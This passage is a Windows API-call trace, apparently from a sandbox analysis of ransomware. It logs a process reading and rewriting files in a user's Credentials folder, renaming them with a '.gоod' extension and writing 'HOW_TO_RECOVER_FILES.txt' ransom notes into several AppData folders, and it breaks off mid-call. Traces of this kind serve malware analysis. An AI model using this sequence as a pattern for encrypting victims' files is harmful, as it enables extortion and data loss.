lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49e04f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 0 [0214.361] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0214.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0214.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0214.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed070) returned 1 [0214.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), fInfoLevelId=0x0, lpFileInformation=0x35f0130 | out: lpFileInformation=0x35f0130*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49e04f8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cc0)) returned 1 [0214.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed030) returned 1 [0214.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0214.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0214.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0214.362] GetFileType (hFile=0x478) returned 0x1 [0214.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0214.362] GetFileType (hFile=0x478) returned 0x1 [0214.362] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ed0c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ed0c8*=0) returned 0x1000 [0214.362] ReadFile (in: hFile=0x478, lpBuffer=0x35f05d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ed098, lpOverlapped=0x0 | out: lpBuffer=0x35f05d8*, lpNumberOfBytesRead=0x207ed098*=0x1000, lpOverlapped=0x0) returned 1 [0214.363] CloseHandle (hObject=0x478) returned 1 [0214.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0214.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0214.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0214.363] GetFileType (hFile=0x478) returned 0x1 [0214.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0214.363] GetFileType (hFile=0x478) returned 0x1 [0214.363] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ed0c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ed0c8*=0) returned 0x2cc0 [0214.363] WriteFile (in: hFile=0x478, lpBuffer=0x35f18b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ecfb8, lpOverlapped=0x0 | out: lpBuffer=0x35f18b8*, lpNumberOfBytesWritten=0x207ecfb8*=0x10, lpOverlapped=0x0) returned 1 [0214.363] CloseHandle (hObject=0x478) returned 1 [0214.363] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0214.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0214.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0214.364] GetFileType (hFile=0x478) returned 0x1 [0214.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0214.364] GetFileType (hFile=0x478) returned 0x1 [0214.364] ReadFile (in: hFile=0x478, lpBuffer=0x35f3bc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ed048, lpOverlapped=0x0 | out: lpBuffer=0x35f3bc0*, lpNumberOfBytesRead=0x207ed048*=0x1000, lpOverlapped=0x0) returned 1 [0215.388] CloseHandle (hObject=0x478) returned 1 [0215.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207eca50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0215.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf70) returned 1 [0215.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.389] GetFileType (hFile=0x478) returned 0x1 [0215.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecee0) returned 1 [0215.389] GetFileType (hFile=0x478) returned 0x1 [0215.389] WriteFile (in: hFile=0x478, lpBuffer=0x348fa40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ed0f8, lpOverlapped=0x0 | out: lpBuffer=0x348fa40*, lpNumberOfBytesWritten=0x207ed0f8*=0x1010, lpOverlapped=0x0) returned 1 [0215.389] CloseHandle (hObject=0x478) returned 1 [0215.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D", lpFilePart=0x0) returned 0x54 [0215.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D.gоod", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D.gоod", lpFilePart=0x0) returned 0x59 [0215.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed030) returned 1 [0215.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), fInfoLevelId=0x0, lpFileInformation=0x207ed110 | out: lpFileInformation=0x207ed110*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe1add823, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x49ddf04f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x7c98502f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2cd0)) returned 1 [0215.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecff0) returned 1 [0215.389] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\dfbe70a7e5cc19a398ebf1b96859ce5d.gоod")) returned 1 [0215.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0215.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0215.390] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Credentials\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\credentials\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0215.541] GetFileType (hFile=0x630) returned 0x1 [0215.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0215.541] GetFileType (hFile=0x630) returned 0x1 [0216.082] WriteFile (in: hFile=0x630, lpBuffer=0x36facc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x36facc0*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.083] CloseHandle (hObject=0x630) returned 1 [0216.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.083] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x34 [0216.083] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.090] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.090] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.091] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.091] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x34 [0216.091] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.091] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.091] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9153cde, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc9153cde, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9153cde, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.091] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.091] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0216.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0216.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Event Viewer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\event viewer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0216.093] GetFileType (hFile=0x630) returned 0x1 [0216.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0216.093] GetFileType (hFile=0x630) returned 0x1 [0216.093] WriteFile (in: hFile=0x630, lpBuffer=0x370c030*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x370c030*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.094] CloseHandle (hObject=0x630) returned 1 [0216.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.166] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2d [0216.166] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.168] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.168] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.168] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.168] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x2d [0216.168] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.168] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.169] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e206cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.169] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.169] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0216.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0216.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\feeds\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0216.170] GetFileType (hFile=0x834) returned 0x1 [0216.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0216.170] GetFileType (hFile=0x834) returned 0x1 [0216.171] WriteFile (in: hFile=0x834, lpBuffer=0x3539f28*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3539f28*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0216.172] CloseHandle (hObject=0x834) returned 1 [0216.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x33 [0216.172] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0216.172] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.173] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4373c58d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5e21595, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4373c58d, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0216.173] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0216.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0216.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0216.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0216.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x33 [0216.173] FindFirstFileW (in: 